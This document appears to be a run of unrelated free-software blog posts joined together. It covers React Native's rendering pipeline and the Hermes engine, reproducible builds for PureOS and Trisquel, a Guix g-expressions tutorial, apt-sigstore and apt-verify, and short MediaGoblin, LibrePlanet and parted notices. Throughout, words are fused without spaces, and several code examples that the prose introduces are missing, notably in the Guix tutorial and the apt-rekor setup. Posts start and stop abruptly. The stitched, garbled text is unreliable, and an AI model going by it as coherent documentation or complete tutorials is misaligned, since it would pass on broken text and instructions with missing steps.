Background: React
I don't know about you, but I find that there is so much marketing smokeand lights around the whole phenomenon that is React and React Nativethat sometimes it's hard to see what's actually there. This iscompounded by the fact that the programming paradigm espoused by React(and its "native" cousin that we are looking at here) is so effective atenabling JavaScript UI programmers to focus on the "what" and not the"how" that the machinery supporting React recedes into the background.
At its most basic, React is what they call a functional reactiveprogramming model. It is functional in the sense that the userinterface elements render as a function of the global applicationstate. The reactive comes into how user input is handled, but I'm notgoing to focus on that here.
React's rendering process starts with a root element tree, describingthe root node of the user interface. An element is a JavaScriptobject with a type property. To render an element tree, if the valueof the type property is a string, then the element is terminal anddoesn't need further lowering, though React will visit any node in thechildren property of the element to render them as needed.
Otherwise if the type property of an element is a function, then theelement node is functional. In that case React invokes the node'srender function (the type property), passing the JavaScript elementobject as the argument. React will then recursively re-render theelement tree produced as a result of rendering the component until allnodes are terminal. (Functional element nodes can instead have a classas their type property, but the concerns are pretty much the same.)
(In the language of ReactNative, a terminal nodeis a React Host Component, and a functional node is a React CompositeComponent, and both are React Elements. There are manyimprecisely-used terms in React and I will continue this tradition byusing the terms I mention above.)
The rendering phase of a React application is thus a function from anelement tree to a terminal element tree. Nodes of element trees can beeither functional or terminal. Terminal element trees are composed onlyof terminal elements. Rendering lowers all functional nodes to terminalnodes. This description applies both to React (targetting the web) andReact Native (which we are reviewing here).
It's probably useful to go deeper into what React does with a terminalelement tree, before building to the more complex pipeline used in ReactNative, so here we go. The basic idea is that React-on-the-web doesimpedance matching between the functional description of what the UIshould have, as described by a terminal element tree, and the statefultree of DOM nodes that a web browser uses to actually paint and displaythe UI. When rendering yields a new terminal element tree, React willcompute the difference between the new and old trees. From thatdifference React then computes the set of imperative actions needed tomutate the DOM tree to correspond to what the new terminal element treedescribes, and finally applies those changes.
In this way, small changes to the leaves of a React element tree shouldcorrespond to small changes in the DOM. Additionally, since renderingis a pure function of the global application state, we can avoidrendering at all when the application state hasn't changed. We'll diveinto performance more deeply later on in the article.
React Native doesn't use a WebView
React Native is similar to React-on-the-web in intent but different instructure. Instead of using a WebView on native platforms, as Ionic /Capacitor does, React Native renders the terminal element tree toplatform-native UI widgets.
When a React Native functional element renders to a terminal element, itwill create not just a JS object for the terminal node asReact-on-the-web does, but also a corresponding C++ shadowobject. Thefully lowered tree of terminal elements will thus have a correspondingtree of C++ shadow objects. React Native will then calculate the layoutfor each node in the shadow tree, and then commit the shadow tree: ason the web, React Native computes the set of imperative actions neededto change the current UI so that it corresponds to what the shadow treedescribes. These changes are then applied on the main thread of theapplication.
The twisty path that leads one to implement JavaScript
The description above of React Native's rendering pipeline applies tothe so-called "newarchitecture", which hasbeen in the works for some years and is only now (April 2023) startingto be deployed. The key development that has allowed React Native tomove over to this architecture is tighter integration and control overits JavaScript implementation. Instead of using the platform'sJavaScript engine (JavaScriptCore on iOS or V8 on Android), Facebookwent and made their own whole new JavaScript implementation,Hermes. Let's step back a bit to see if wecan imagine why anyone in their right mind would make a new JSimplementation.
In the last article, I mentioned that the only way to get peak JSperformance on iOS is to use the platform's WkWebView, which enables JITcompilation of JavaScript code. React Native doesn't want a WebView,though. I guess you could create an invisible WebView and just run yourJavaScript in it, but the real issue is that the interface to theJavaScript engine is so narrow as to be insufficiently expressive. Youcan't cheaply synchronously create a shadow tree of layout objects, forexample, because every interaction with JavaScript has to cross aprocess boundary.
So, it may be that JIT is just not worth paying for, if it means havingto keep JavaScript at arm's distance from other parts of theapplication. How do you do JavaScript without a browser on mobile,though? Either you use the platform's JavaScript engine, or you shipyour own. It would be nice to use the same engine on iOS and Android,though. When React Native was first made, V8 wasn't able to operate ina mode that didn't JIT, so React Native went with JavaScriptCore on bothplatforms.
Bundling your own JavaScript engine has the nice effect that you caneasily augment it with native extensions, for example to talk to theSwift or Java app that actually runs the main UI. That's what Idescribe above with the creation of the shadow tree, but that's notquite what the original React Native did; I can only speculate but Isuspect that there was a fear that JavaScript rendering work (or garbagecollection!) could be heavy enough to cause the main UI to drop frames.Phones were less powerful in 2016, and JavaScript engines were lessgood. So the original React Native instead ran JavaScript in a separatethread. When a render would complete, the resulting terminal elementtree would be serialized as JSON and shipped over to the "native" sideof the application, which would actually apply the changes.
This arrangement did work, but it ran into problems whenever the systemneeded synchronous communication between native and JavaScriptsubsystems. As I understand it, this was notably the case when Reactlayout would need the dimensions of a native UI widget; to avoid astall, React would assume something about the dimensions of the nativeUI, and then asynchronously re-layout once the actual dimensions wereknown. This was particularly gnarly with regards to text measurements,which depend on low-level platform-specific rendering details.
To recap: React Native had to interpret its JS on iOS and was using a"foreign" JS engine on Android, so they weren't gaining anything byusing a platform JS interpreter. They would sometimes have someannoying layout jank when measuring native components. And what's more,React Native apps would still experience the same problem as Ionic /Capacitor apps, in that application startup time was dominated byparsing and compiling the JavaScript source files.
The solution to this problem was partly to switch to the so-called "newarchitecture", which doesn't serialize and parse so much data in thecourse of rendering. But the other side of it was to find a way to moveparsing and compiling JavaScript to the build phase, instead of havingto parse and compile JS every time the app was run. On V8, you would dothis by generating asnapshot. OnJavaScriptCore, which React Native used, there was no such facility.Faced with this problem and armed with Facebook's bank account, theReact Native developers decided that the best solution would be to makea new JavaScript implementation optimized for ahead-of-time compilation.
If this were it, I would say that Hermes seems to me to be a dead end.V8 is complete; Hermes is not. For example, Hermes doesn't have with,async function implementation has been lagging, and so on. Why Hermeswhen you can V8 (with snapshots), now that V8 doesn't require JIT codegeneration?
I thought about this for a while and in the end, given that V8's maintarget isn't as an embedded library in a mobile app, perhaps the binarysize question is the one differentiating factor (in theory) for Hermes.By focussing on lowering distribution size, perhaps Hermes will be acompelling JS engine in its own right. In any case, Facebook can affordto keep Hermes running for a while, regardless of whether it has acompetitive advantage or not.
It sounds like I'm criticising Hermes here but that's not really thepoint. If you can afford it, it's good to have code you control. Forexample one benefit that I see React Native getting from Hermes is thatthey control the threadingmodel; they canmostly execute JS in its own thread, but interrupt that thread andswitch to synchronous main-thread execution in response to high-priorityevents coming from the user. You might be able to do that with V8 atsome point but the mobile-apps-with-JS domain is still in flux, so it'snice to have a sandbox that React Native developers can use to explorethe system design space.
Evaluation
With that long overview out of the way, let's take a look to what kindsof performance we can expect out of a React Native system.
Startup latency
Because React Native apps have their JavaScript code pre-compiled toHermes bytecode, we can expect that the latency imposed by JavaScriptduring application startup is lower than is the case with Ionic /Capacitor, which needs to parse and compile the JavaScript at run-time.
However, it must be said that as a framework, React tends to result inlarge applicationsizesand incurs significant work at startuptime.One of React's strengths is that it allows development teams inside anorganization to compose well: because rendering is a pure function, it'seasy to break down the task of making an app into subtasks to be handledby separate groups of people. Could this strength lead to a kind ofweakness, in that there is less of a need for overall coordination onthe project management level, such that in the end nobody feelsresponsible for overall application performance? I don't know. I thinkthe concrete differences between React Native and React (the C++ shadowobject tree, the multithreading design, precompilation) could mean thatReact Native is closer to an optimum in the design space than React. Itdoes seem to me though that whether a platform's primary developmenttoolkit shold be React-like remains an open question.
Jank
In theory React Native is well-positioned to avoid jank. JavaScriptexecution is mostly off the main UI thread. The threadingmodel changes toallow JavaScript rendering to be pre-empted onto the main thread do makeme wonder, though: what if that work takes too much time, or what ifthere is a GC pause during that pre-emption? I would not be surprisedto see an article in the next year or two from the Hermes team aboutefforts to avoid GC during high-priority event processing.
Another question I would have about jank relates to interactivity. Saythe user is dragging around a UI element on the screen, and the UI needsto re-layout itself. If rendering is slow, then we might expect to seea lag between UI updates and the dragging motion; the app technicallyisn't dropping frames, but the render can't complete in the 16milliseconds needed for a 60 frames-per-second update frequency.
Peak perf
But why might rendering be slow? On the one side, there is the factthat Hermes is not a high-performance JavaScript implementation. Ituses a simple bytecode interpreter, and will never be able to meet theperformance of V8 with JIT compilation.
However the other side of this is the design of the applicationframework. In the limit, React suffers from the O(n) problem: anychange to the application state requires the whole element tree to berecomputed. Rendering and layout work is proportional to the size ofthe application, which may have thousands of nodes.
Of course, React tries to minimize this work, by detecting subtreeswhose layout does not change, by avoiding re-renders when state doesn'tchange, by minimizing the set of mutations to the native widget tree.But the native widgets aren't the problem: the programming model is, orit can be anyway.
Aside: As good as native?
Again in theory, React Native can used to write apps that are as good asif they were written directly against platform-native APIs in Kotlin orSwift, because it uses the same platform UI toolkits as nativeapplications. React Native can also do this at the same time as beingcross-platform, targetting iOS and Android with the same code. Inpractice, besides the challenge of designing suitable cross-platformabstractions, React Native has to grapple with potential performance andmemory use overheads of JavaScript, but the result has the potential tobe quite satisfactory.
Aside: Haven't I seen that rendering model somewhere?
As I mentioned in the last article, I am a compiler engineer, not a UIspecialist. In the course of my work I do interact with a number ofcolleagues working on graphics and user interfaces, notably in thecontext of browser engines. I was struck when reading about ReactNative's rendering pipeline about how much it resembled what a browseritself willdoas part of the layout, paint, and render pipeline: translate a tree ofobjects to a tree of immutable layout objects, clip those to theviewport, paint the ones that are dirty, and composite the resultingtextures to the screen.
It's funny to think about how many levels we have here: the elementtree, the recursively expanded terminal element tree, the shadow objecttree, the platform-native widget tree, surely a correspondingplatform-native layout tree, and then the GPU backing buffers that areeventually composited together for the user to see. Could we do better?I could certainly imagine any of these mobile application developmentframeworks switching to their own Metal/Vulkan-based renderingarchitecture at some point, to flatten out these layers.
Summary
By all accounts, React Native is a real delight to program for; it makesdevelopers happy. The challenge is to make it perform well for users.With its new rendering architecture based on Hermes, React Native maywell be on the path to addressing many of these problems. Bytecodepre-compilation should go a long way towards solving startup latency,provided that React's expands-to-fit-all-available-space tendency iskept in check.
If you were designing a new mobile operating system from the ground up,though, I am not sure that you would necessarily end up with ReactNative as it is. At the very least, you would include Hermes and thebase run-time as part of your standard library, so that every appdoesn't have to incur the space costs of shipping the run-time. Also,in the same way that Android can ahead-of-time and just-in-time compileitsbytecode, Iwould expect that a mobile operating system based on React Native wouldextend its compiler with on-device post-install compilation and possiblyJIT compilation as well. And at that point, why not switch back to V8?
Well, that's food for thought. Next up, NativeScript. Until then,happy hacking!
This is the kind of work that gets done while waiting for the build machines to attempt to reproducibly build PureOS. Unfortunately, the results is that a meager 16% of the 765 added/modifed packages are reproducible by me. There is some infrastructure work to be done to improve things: we should use sbuild for example. The build infrastructure should produce signed statements for each package it builds: One statement saying that it attempted to reproducible build a particular binary package (thus generated some build logs and diffoscope-output for auditing), and one statements saying that it actually was able to reproduce a package. Verifying such claims during apt-get install or possibly dpkg -i is a logical next step.
There is some code cleanups and release work to be done now. Which distribution will be the first apt-based distribution that includes native support for Sigstore? Let’s see.
Sigstore is not the only relevant transparency log around, and I’ve been trying to learn a bit about Sigsum to be able to support it as well. The more improved confidence about system security, the merrier!
Welcome back to Dissecting Guix!Last time, we discussed monads,the functional programming idiom used by Guix to thread a store connectionthrough a series of store-related operations.
Today, we'll be talking about a concept rather more specific to Guix:g-expressions. Being an implementation of the Scheme language, Guile is builtaround s-expressions, which canrepresent, as the saying goes, code as data, thanks to the simple structure ofScheme forms.
As Guix's package recipes are written in Scheme, it naturally needs some way torepresent code that is to be run only when the package is built. Additionally,there needs to be some way to reference dependencies and retrieve output paths;otherwise, you wouldn't be able to, for instance, create a phase to install afile in the output directory.
So, how do we implement this "deferred" code? Well, initially Guix used plainold s-expressions for this purpose.
Once Upon a Time
Let's say we want to create a store item that's just a symlink to thebin/irssi file of the irssi package. How would we do that with ans-expression? Well, the s-expression itself, which we call the builder, isfairly simple:
The %outputs and %build-inputs variables are bound within builder scripts toassociation lists, which are lists of pairs that act like key/value stores,for instance:
%outputs, as the name might suggest, maps derivation output names to the pathsof their respective store items, the default output being out, and%build-inputs maps inputs labels to their store items.
The builder is the easy part; we now need to turn it into a derivation and tellit what "irssi" actually refers to. For this, we use thebuild-expression->derivation procedure from (guix derivations):
(use-modules (guix derivations) (guix packages) (guix store) (gnu packages guile) (gnu packages irc))(with-store store (let ((guile-3.0-drv (package-derivation store guile-3.0)) (irssi-drv (package-derivation store irssi))) (build-expression->derivation store "irssi-symlink" sexp-builder #:guile-for-build guile-3.0-drv #:inputs `(("irssi" ,irssi-drv)))))⇒ #<derivation /gnu/store/…-irssi-symlink.drv => /gnu/store/…-irssi-symlink …>
There are several things to note here:
The inputs must all be derivations, so we need to first convert the packagesusing package-derivation.
We need to explicitly set #:guile-for-build; there's no default value.
The build-expression->derivation and package-derivation procedures arenot monadic, so we need to explicitly pass them the store connection.
The shortcomings of using s-expressions in this way are numerous: we have toconvert everything to a derivation before using it, and inputs are not aninherent aspect of the builder. G-expressions were designed to overcome theseissues.
Premortem Examination
A g-expression is fundamentally a record of type <gexp>, which is, naturally,defined in (guix gexp). The two most important fields of this record type,out of a total of five, are proc and references; the former is a procedurethat returns the equivalent s-expression, the latter a list containingeverything from the "outside world" that's used by the g-expression.
When we want to turn the g-expression into something that we can actually run ascode, we combine these two fields by first building any g-expression inputs thatcan become derivations (leaving alone those that cannot), and then passing thebuilt references as the arguments of proc.
Here's an example g-expression that is essentially equivalent to oursexp-builder:
gexp-builder is far more concise than sexp-builder; let's examine the syntaxand the <gexp> object we've created. To make a g-expression, we use the #~syntax, equivalent to the gexp macro, rather than the quasiquote backtickused to create s-expressions.
When we want to embed values from outside as references, we use #$, orungexp, which is, in appearance if not function, equivalent to unquote(,). ungexp can accept any of four reference types:
S-expressions (strings, lists, etc), which will be embedded literally.
Other g-expressions, embedded literally.
Expressions returning any sort of object that can be lowered into aderivation, such as <package>, embedding that object's out store item; ifthe expression is specifically a symbol bound to a buildable object, you canoptionally follow it with a colon and an alternative output name, sopackage:lib is permitted, but (get-package):lib isn't.
The symbol output, embedding an output path. Like symbols bound tobuildable objects, this can be followed by a colon and the output name thatshould be used rather than the default out.
All these reference types will be represented by <gexp-input> records in thereferences field, except for the last kind, which will become <gexp-output>records. To give an example of each type of reference (with the return valueoutput formatted for easier reading):
Note the use of file-append in both the previous example and gexp-builder;this procedure produces a <file-append> object that builds its first argumentand is embedded as the concatenation of the first argument's output path and thesecond argument, which should be a string. For instance,(file-append irssi "/bin/irssi") builds irssi and expands to/gnu/store/…-irssi/bin/irssi, rather than the /gnu/store/…-irssi that thepackage alone would be embedded as.
So, now that we have a g-expression, how do we turn it into a derivation? Thisprocess is known as lowering; it entails the use of the aptly-namedlower-gexp monadic procedure to combine proc and references and produce a<lowered-gexp> record, which acts as a sort of intermediate representationbetween g-expressions and derivations. We can piece apart this lowered form toget a sense of what the final derivation's builder script would look like:
(define lowered-gexp-builder (with-store store (run-with-store store (lower-gexp gexp-builder))))(lowered-gexp-sexp lowered-gexp-builder)⇒ (symlink "/gnu/store/…-irssi-1.4.3/bin/irssi" ((@ (guile) getenv) "out"))
And there you have it: a s-expression compiled from a g-expression, ready to bewritten into a builder script file in the store. So, how exactly do you turnthis into said derivation?
Well, it turns out that there isn't an interface for turning loweredg-expressions into derivations, only one for turning regular g-expressions intoderivations that first uses lower-gexp, then implements the aforementionedconversion internally, rather than outsourcing it to some other procedure, sothat's what we'll use.
Unsurprisingly, that procedure is called gexp->derivation, and unlike itss-expression equivalent, it's monadic. (build-expression->derivation andother deprecated procedures were in Guix since before the monads systemexisted.)
(with-store store (run-with-store store (gexp->derivation "irssi-symlink" gexp-builder)))⇒ #<derivation /gnu/store/…-irssi-symlink.drv => /gnu/store/…-irssi-symlink …>
Finally, we have a g-expression-based equivalent to the derivation we earliercreated with build-expression->derivation! Here's the code we used for thes-expression version in full:
(define sexp-builder `(let* ((out (assoc-ref %outputs "out")) (irssi (assoc-ref %build-inputs "irssi")) (bin/irssi (string-append irssi "/bin/irssi"))) (symlink bin/irssi out)))(with-store store (let ((guile-3.0-drv (package-derivation store guile-3.0)) (irssi-drv (package-derivation store irssi))) (build-expression->derivation store "irssi-symlink" sexp-builder #:guile-for-build guile-3.0-drv #:inputs `(("irssi" ,irssi-drv)))))
And here's the g-expression equivalent:
(define gexp-builder #~(symlink #$(file-append irssi "/bin/irssi") #$output))(with-store store (run-with-store store (gexp->derivation "irssi-symlink" gexp-builder)))
That's a lot of complexity abstracted away! For more complex packages andservices, especially, g-expressions are a lifesaver; you can refer to the outputpaths of inputs just as easily as you would a string constant. You do, however,have to watch out for situations where ungexp-native, written as #+, wouldbe preferable over regular ungexp, and that's something we'll discuss later.
A brief digression before we continue: if you'd like to look inside a <gexp>record, but you'd rather not build anything, you can use thegexp->approximate-sexp procedure, which replaces all references with dummyvalues:
We've seen two examples already of records we can turn into derivations, whichare generally referred to as lowerable objects or file-like objects:
<package>, a Guix package.
<file-append>, which wraps another lowerable object and appends a string tothe embedded output path when ungexped.
There are many more available to us. Recall from the previous post,The Store Monad,that Guix provides the two monadic procedures text-file and interned-file,which can be used, respectively, to put arbitrary text or files from thefilesystem in the store, returning the path to the created item.
This doesn't work so well with g-expressions, though; you'd have to wrap eachungexped use of either of them with(with-store store (run-with-store store …)), which would be quite tedious.Thankfully, (guix gexp) provides the plain-file and local-file procedures,which return equivalent lowerable objects. This code example builds a directorycontaining symlinks to files greeting the world:
(use-modules (guix monads) (ice-9 ftw) (ice-9 textual-ports))(define (build-derivation monadic-drv) (with-store store (run-with-store store (mlet* %store-monad ((drv monadic-drv)) (mbegin %store-monad ;; BUILT-DERIVATIONS is the monadic version of BUILD-DERIVATIONS. (built-derivations (list drv)) (return (derivation-output-path (assoc-ref (derivation-outputs drv) "out")))))))) (define world-greeting-output (build-derivation (gexp->derivation "world-greeting" #~(begin (mkdir #$output) (symlink #$(plain-file "hi-world" "Hi, world!") (string-append #$output "/hi")) (symlink #$(plain-file "hello-world" "Hello, world!") (string-append #$output "/hello")) (symlink #$(plain-file "greetings-world" "Greetings, world!") (string-append #$output "/greetings"))))));; We turn the list into multiple values using (APPLY VALUES …).(apply values (map (lambda (file-path) (let* ((path (string-append world-greeting-output "/" file-path)) (contents (call-with-input-file path get-string-all))) (list path contents))) ;; SCANDIR from (ICE-9 FTW) returns the list of all files in a ;; directory (including ``.'' and ``..'', so we remove them with the ;; second argument, SELECT?, which specifies a predicate). (scandir world-greeting-output (lambda (path) (not (or (string=? path ".") (string=? path "..")))))))⇒ ("/gnu/store/…-world-greeting/greetings" "Greetings, world!")⇒ ("/gnu/store/…-world-greeting/hello" "Hello, world!")⇒ ("/gnu/store/…-world-greeting/hi" "Hi, world!")
Note that we define a procedure for building the output; we will need to buildmore derivations in a very similar fashion later, so it helps to have this toreuse instead of copying the code in world-greeting-output.
There are many other useful lowerable objects available as part of the gexplibrary. These include computed-file, which accepts a gexp that buildsthe output file, program-file, which creates an executable Scheme script inthe store using a g-expression, and mixed-text-file, which allows you to,well, mix text and lowerable objects; it creates a file from the concatenationof a sequence of strings and file-likes. TheG-Expressionsmanual page has more details.
So, you may be wondering, at this point: there's so many lowerable objectsincluded with the g-expression library, surely there must be a way to definemore? Naturally, there is; this is Scheme, after all! We simply need toacquaint ourselves with the define-gexp-compiler macro.
The most basic usage of define-gexp-compiler essentially creates a procedurethat takes as arguments a record to lower, the host system, and the targetsystem, and returns a derivation or store item as a monadic value in%store-monad.
Let's try implementing a lowerable object representing a file that greets theworld. First, we'll define the record type:
Now we use define-gexp-compiler like so; note how we can use lower-objectto compile down any sort of lowerable object into the equivalent store item orderivation; essentially, lower-object is just the procedure for applying theright gexp-compiler to an object:
Now, this is probably not worth a whole new gexp-compiler. How about somethinga bit more complex? Sharp-eyed readers who are trying all this in the REPL mayhave noticed the following output when they used define-gexp-compiler(formatted for ease of reading):
Now, the purpose of type and lower is self-explanatory, but what's thisexpand procedure here? Well, if you recall file-append, you may realisethat the text produced by a gexp-compiler for embedding into a g-expressiondoesn't necessarily have to be the exact output path of the produced derivation.
There turns out to be another way to write a define-gexp-compiler form thatallows you to specify both the lowering procedure, which produces thederivation or store item, and the expanding procedure, which produces the text.
Let's try making another new lowerable object; this one will let us build aGuile package and expand to the path to its module directory. Here's ourrecord:
Who knows why you'd want to do this, but it certainly works! We've looked atwhy we need g-expressions, how they work, and how to extend them, and we've nowonly got two more advanced features to cover: cross-build support, and modules.
Importing External Modules
Let's try using one of the helpful procedures from the (guix build utils)module in a g-expression.
Looks fine, right? We've even got a use-modules in th--
ERROR: 1. &store-protocol-error: message: "build of `/gnu/store/…-simple-directory.drv' failed" status: 100
OUTRAGEOUS. Fortunately, there's an explanation to be found in the Guix buildlog directory, /var/log/guix/drvs; locate the file using the first twocharacters of the store hash as the subdirectory, and the rest as the file name,and remember to use zcat or zless, as the logs are gzipped:
It turns out use-modules can't actually find (guix build utils) at all.There's no typo; it's just that to ensure the build is isolated, Guix buildsmodule-import and module-importe-compiled directories, and sets theGuile module path within the build environment to contain said directories,along with those containing the Guile standard library modules.
So, what to do? Turns out one of the fields in <gexp> is modules, which,funnily enough, contains the names of the modules which will be used to buildthe aforementioned directories. To add to this field, we use thewith-imported-modules macro. (gexp->derivationdoes provide a modulesparameter, but with-imported-modules lets you add the required modulesdirectly to the g-expression value, rather than later on.)
It works, yay. It's worth noting that while passing just the list of modules towith-imported-modules works in this case, this is only because(guix build utils) has no dependencies on other Guix modules. Were we to tryadding, say, (guix build emacs-build-system), we'd need to use thesource-module-closure procedure to add its dependencies to the list:
Here's another scenario: what if we want to use a module not from Guix or Guilebut a third-party library? In this example, we'll use guile-json, a library for converting betweenS-expressions and JavaScript Object Notation.
We can't just with-imported-modules its modules, since it's not part of Guix,so <gexp> provides another field for this purpose: extensions. Each ofthese extensions is a lowerable object that produces a Guile package directory;so usually a package. Let's try it out using the guile-json-4 package toproduce a JSON file from a Scheme value within a g-expression.
(define helpful-guide-output (build-derivation (gexp->derivation "json-file" (with-extensions (list guile-json-4) #~(begin (use-modules (json)) (mkdir #$output) (call-with-output-file (string-append #$output "/helpful-guide.json") (lambda (port) (scm->json '((truth . "Guix is the best!") (lies . "Guix isn't the best!")) port))))))))(call-with-input-file (string-append helpful-guide-output "/helpful-guide.json") get-string-all)⇒ "{\"truth\":\"Guix is the best!\",\"lies\":\"Guix isn't the best!\"}"
Amen to that, helpful-guide.json. Before we continue on to cross-compilation,there's one last feature of with-imported-modules you should note. We canadd modules to a g-expression by name, but we can also create entirely new onesusing lowerable objects, such as in this pattern, which is used in severalplaces in the Guix source code to make an appropriately-configured(guix config) module available:
In case you're wondering, make-config.scm is found in (guix self) andreturns a lowerable object that compiles to a version of the (guix config)module, which contains constants usually substituted into the source code atcompile time.
Native ungexp
There is another piece of syntax we can use with g-expressions, and it's calledungexp-native. This helps us distinguish between native inputs and regularhost-built inputs in cross-compilation situations. We'll covercross-compilation in detail at a later date, but the gist of it is that itallows you to compile a derivation for one architecture X, the target, using amachine of architecture Y, the host, and Guix has excellent support for it.
If we cross-compile a g-expression G that non-nativelyungexps L1, alowerable object, from architecture Y to architecture X, both G and L1 will becompiled for architecture X. However, if G nativelyungexps L1, G will becompiled for X and L1 for Y.
Essentially, we use ungexp-native in situations where there would be nodifference between compiling on different architectures (for instance, if L1were a plain-file), or where using L1 built for X would actually break G(for instance, if L1 corresponds to a compiled executable that needs to be runduring the build; the executable would fail to run on Y if it was built for X.)
The ungexp-native macro naturally has a corresponding reader syntax, #+, andthere's also ungexp-native-splicing, which is written as #+@. These twopieces of syntax are used in the same way as their regular counterparts.
Conclusion
What have we learned in this post? To summarise:
G-expressions are essentially abstractions on top of s-expressions used inGuix to stage code, often for execution within a build environment or aShepherd service script.
Much like you can unquote external values within a quasiquote form, youcan ungexp external values to access them within a gexp form. The keydifference is that you may use not only s-expressions with ungexp, but otherg-expressions and lowerable objects too.
When a lowerable object is used with ungexp, the g-expression ultimatelyreceives the path to the object's store item (or whatever string the lowerableobject's expander produces), rather than the object itself.
A lowerable object is any record that has a "g-expression compiler" definedfor it using the define-gexp-compiler macro. G-expression compilers alwayscontain a compiler procedure, which converts an appropriate record into aderivation, and sometimes an expander procedure, which produces the stringthat is to be expanded to within g-expressions when the object is ungexped.
G-expressions record the list of modules available in their environment, whichyou may expand using with-imported-modules to add Guix modules, andwith-extensions to add modules from third-party Guile packages.
ungexp-native may be used within g-expressions to compile lowerable objectsfor the host rather than the target system in cross-compilation scenarios.
Mastering g-expressions is essential to understanding Guix's inner workings, sothe aim of this blog post is to be as thorough as possible. However, if youstill find yourself with questions, please don't hesitate to stop by at the IRCchannel #guix:libera.chat and mailing list help-guix@gnu.org; we'll be gladto assist you!
Also note that due to the centrality of g-expressions to Guix, there exist aplethora of alternative resources on this topic; here are some which you mayfind useful:
Arun Isaac'sposton using g-expressions with guix deploy.
Marius Bakke's"Guix Drops" postwhich explains g-expressions in a more "top-down" way.
This 2020FOSDEM talkby Christopher Marusich on the uses of g-expressions.
And, of course, the one and only originalg-expression paper by Ludovic Courtès,the original author of Guix.
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
March 18 & 19 was a weekend packed full of events and get-togethers, where people gathered for the Free Software Foundation's (FSF) fifteenth edition of its annual LibrePlanet conference. Relive LibrePlanet: Charting the Course and catch up on the talks you missed with video and audio versions.
Do you want your apt-get update to only ever use files whose hash checksum have been recorded in the globally immutable tamper-resistance ledger rekor provided by the Sigstore project? Well I thought you’d never ask, but now you can, thanks to my new projects apt-verify and apt-sigstore. I have not done proper stable releases yet, so this is work in progress. To try it out, adapt to the modern era of running random stuff from the Internet as root, and run the following commands. Use a container or virtual machine if you have trust issues.
If the stars are aligned (and the puppet projects’ of debdistget and debdistcanary have ran their GitLab CI/CD pipeline recently enough) you will see a successful output from apt-get update and your syslog will contain debug logs showing the entries from the rekor log for the release index files that you downloaded. See sample outputs in the README.
If you get tired of it, disabling is easy:
chmod -x /etc/apt/verify.d/apt-rekor
Our project currently supports Trisquel GNU/Linux 10 (nabia) & 11 (aramo), PureOS 10 (byzantium), Gnuinos chimaera, Ubuntu 20.04 (focal) & 22.04 (jammy), Debian 10 (buster) & 11 (bullseye), and Devuan GNU+Linux 4.0 (chimaera). Others can be supported to, please open an issue about it, although my focus is on FSDG-compliant distributions and their upstreams.
This is a continuation of my previous work on apt-canary. I have realized that it was better to separate out the generic part of apt-canary into my new project apt-verify that offers a plugin-based method, and then rewrote apt-canary to be one such plugin. Then apt-sigstore‘s apt-rekor was my second plugin for apt-verify.
Due to the design of things, and some current limitations, Ubuntu is the least stable since they push out new signed InRelease files frequently (mostly due to their use of Phased-Update-Percentage) and debdistget and debdistcanary CI/CD runs have a hard time keeping up. If you have insight on how to improve this, please comment me in the issue tracking the race condition.
There are limitations of what additional safety a rekor-based solution actually provides, but I expect that to improve as I get a cosign-based approach up and running. Currently apt-rekor mostly make targeted attacks less deniable. With a cosign-based approach, we could design things such that your machine only downloads updates when they have been publicly archived in an immutable fashion, or submitted for validation by a third-party such as my reproducible build setup for Trisquel GNU/Linux aramo.
We're pleased to announce the release of MediaGoblin 0.12.1. See the releasenotes for fulldetails and upgrading instructions.
This patch release fixes a number of Python dependency issues, allows us tosupport newer autoconf versions, fixes a few small bugs and improves thedocumentation. Support for Debian Bookwork, Ubuntu 22.04 and Fedora 36 isnotably missing from this release, but will be addressed in the upcoming version0.13.0.
Thanks go to Olivier Mehani, Elisei Roca, Jgart, Dan Helfman and Peter Horvathfor their contributions in this release. Since our last release, long-timeMediaGoblin user and contributor Olivier has joined me as co-maintainer on theproject. Thanks for all your help Olivier!
To join us and help improve MediaGoblin, please visit our gettinginvolved page.
[*] Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify parted-3.6.tar.xz.sig
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to update or refresh it, and then rerun the 'gpg --verify' command.
The absolute number may not be impressive, but what I hope is at least a useful contribution is that there actually is a number on how much of Trisquel is reproducible. Hopefully this will inspire others to help improve the actual metric.
When I set about to understand how Trisquel worked, I identified a number of things that would improve my confidence in it. The lowest hanging fruit for me was to manually audit the package archive, and I wrote a tool called debdistdiff to automate this for me. That led me to think about apt archive transparency more in general. I have made some further work in that area (hint: apt-verify) that deserve its own blog post eventually. Most of apt archive transparency is futile if we don’t trust the intended packages that are in the archive. One way to measurable increase trust in the package are to provide reproducible builds of the packages, which should by now be an established best practice. Code review is still important, but since it will never provide positive guarantees we need other processes that can identify sub-optimal situations automatically. The way reproducible builds easily identify negative results is what I believe has driven much of its success: its results are tangible and measurable. The field of software engineering is in need of more such practices.
The design of my setup to build Trisquel reproducible are as follows.
The project debdistget is responsible for downloading Release/Packages files (which are the most relevant files from dists/) from apt archives, and works by commiting them into GitLab-hosted git-repositories. I maintain several such repositories for popular apt-archives, including for Trisquel and its upstream Ubuntu. GitLab invokes a schedule pipeline to do the downloading, and there is some race conditions here.
The project debdistdiff is used to produce the list of added and modified packages, which are the input to actually being able to know what packages to reproduce. It publishes human readable summary of difference for several distributions, including Trisquel vs Ubuntu. Early on I decided that rebuilding all of the upstream Ubuntu packages is out of scope for me: my personal trust in the official Debian/Ubuntu apt archives are greater than my trust of the added/modified packages in Trisquel.
The final project reproduce-trisquel puts the pieces together briefly as follows, everything being driven from its .gitlab-ci.yml file.
There is a (manually triggered) job generate-build-image to create a build image to speed up CI/CD runs, using a simple Dockerfile.
There is a (manually triggered) job generate-package-lists that uses debdistdiff to generate and store package lists and puts its output in lists/. The reason this is manually triggered right now is due to a race condition.
There is a (scheduled) job that does two things: from the package lists, the script generate-ci-packages.sh builds a GitLab CI/CD instruction file ci-packages.yml that describes jobs for each package to build. The second part is generate-readme.sh that re-generate the project’s README.md based on the build logs and diffoscope outputs that stored in the git repository.
